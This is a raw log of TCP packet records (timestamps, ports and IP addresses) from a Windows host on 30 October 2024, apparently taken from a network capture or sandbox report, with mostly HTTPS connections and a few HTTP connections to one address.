Oct 30, 2024 04:34:32.211303949 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.211338043 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.211345911 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:32.211491108 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.255325079 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:32.291820049 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.291836977 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.292402983 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.292423964 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.292448044 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.292455912 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.402440071 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:32.402493000 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:32.403727055 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.459583044 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:32.484179974 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.484190941 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:32.484220028 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.484291077 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:32.569895029 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.578361988 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.578367949 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.578903913 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.578908920 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.580121994 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.580148935 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.580216885 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.580383062 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.580395937 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.707075119 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.707278013 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.707329988 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.713139057 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.713155031 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.713167906 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.713174105 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.724020004 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.731988907 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.732002020 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.732741117 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.732753992 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.735840082 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.735861063 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.735918999 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.736052990 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.736063957 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.754106998 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.755825043 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.755856037 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.756400108 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.756407976 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.857794046 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.857980967 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.858067989 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.863334894 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.863334894 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.863349915 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.863358974 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.885260105 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.885400057 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.885482073 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.894903898 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.894929886 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.895365953 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.904939890 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.904967070 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.904983997 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.904989004 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.911432028 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.911447048 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.928195953 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.928232908 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.928302050 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.938827038 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.938878059 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.043756008 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.137828112 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.306493044 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.365437031 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.365457058 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.366089106 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.366095066 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.367196083 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.367216110 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.369298935 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.369303942 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.414877892 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:33.414896965 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:33.414988995 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:33.416977882 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:33.416994095 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:33.495724916 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.495887995 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.495969057 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.510257006 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.510282040 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.511924982 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.520615101 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.520636082 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.521066904 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.521071911 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.531349897 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.531384945 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.531518936 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.531771898 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.531791925 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.653810024 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.653876066 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.653934956 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.661429882 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.661442041 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.661451101 CET	50947	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.661457062 CET	443	50947	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.674829960 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.676826000 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.682564020 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.682637930 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.683060884 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.683074951 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.688802958 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.688823938 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.688879967 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.689825058 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:33.689892054 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:33.690534115 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.690546989 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.695138931 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:33.695249081 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:33.695259094 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:33.695269108 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:33.695281029 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:33.724709988 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.728015900 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.728068113 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.728856087 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.728871107 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.773689032 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.773715973 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.774055004 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.774070024 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.774077892 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.774338007 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.774385929 CET	443	50946	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.774466038 CET	50946	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.780103922 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.780142069 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.780201912 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.780375957 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.780388117 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.814536095 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.814604998 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.814711094 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.814799070 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.822545052 CET	50950	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.822597980 CET	443	50950	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.829559088 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.829597950 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.829762936 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.830133915 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.830148935 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.854024887 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.854177952 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.854499102 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.854571104 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.854603052 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.854629040 CET	50951	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.854645967 CET	443	50951	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.864093065 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.864120007 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:33.864252090 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.864586115 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:33.864600897 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.076873064 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.077018023 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.077053070 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.077069998 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:34.077353001 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.077389002 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.077402115 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:34.078129053 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.078166962 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:34.078254938 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.078268051 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.078305960 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:34.078583956 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:34.164063931 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:34.263674021 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:34.263870001 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:34.263884068 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:34.265579939 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:34.265661955 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:34.266774893 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:34.266861916 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:34.280895948 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.281976938 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.282002926 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.282660007 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.282665014 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.348094940 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:34.348109961 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:34.416440964 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.416557074 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.416606903 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.425576925 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.473136902 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:34.473176956 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.482395887 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.482420921 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.482433081 CET	50964	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.482439041 CET	443	50964	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.519789934 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.519843102 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.520515919 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.520534039 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.544606924 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:34.544640064 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:34.544692993 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:34.544965982 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:34.544979095 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:34.558336973 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.559964895 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.560496092 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.560556889 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.560987949 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.561002970 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.562057972 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.562081099 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.562135935 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.563357115 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.563371897 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.563709021 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.563724041 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.564112902 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.564116955 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.617475033 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.623498917 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.623518944 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.624052048 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.624056101 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.645605087 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.645694017 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.645750999 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.646511078 CET	50965	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.646557093 CET	443	50965	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.653162003 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.653197050 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.653290987 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.653508902 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.653522015 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.690047026 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.690113068 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.690170050 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.690463066 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.690500021 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.690545082 CET	50967	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.690561056 CET	443	50967	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.693180084 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.693202019 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.693257093 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.693458080 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.693466902 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.711395979 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.713181019 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.713224888 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.713237047 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.713251114 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.713315010 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.713381052 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.713392973 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.713402033 CET	50966	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.713409901 CET	443	50966	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.717133999 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.717147112 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.717196941 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.717478037 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.717487097 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.752327919 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.752521038 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.752582073 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.752728939 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.752741098 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.752753019 CET	50969	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.752757072 CET	443	50969	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.755492926 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.755527973 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.755584002 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.755791903 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:34.755806923 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:34.913767099 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.913820028 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:34.913898945 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.914088011 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.914119005 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:34.914669991 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.914702892 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:34.914747000 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.915189028 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:34.915203094 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:34.928319931 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:34.928348064 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:34.928406954 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:34.929666042 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:34.929677010 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.203780890 CET	49798	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:35.203810930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:35.209126949 CET	80	49798	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.209140062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.209372044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:35.209372997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:35.214759111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.215646029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:35.221076965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.221087933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.221110106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:35.299973965 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.300429106 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.300467968 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.301084042 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.301098108 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.399079084 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.400242090 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.400242090 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.400268078 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.400283098 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.407823086 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.408135891 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.408162117 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.408720016 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.408739090 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.408832073 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.408832073 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.408850908 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.409323931 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.409780979 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.432563066 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.432647943 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.433116913 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.435787916 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.438510895 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.438688993 CET	443	50974	142.250.74.193	192.168.2.6
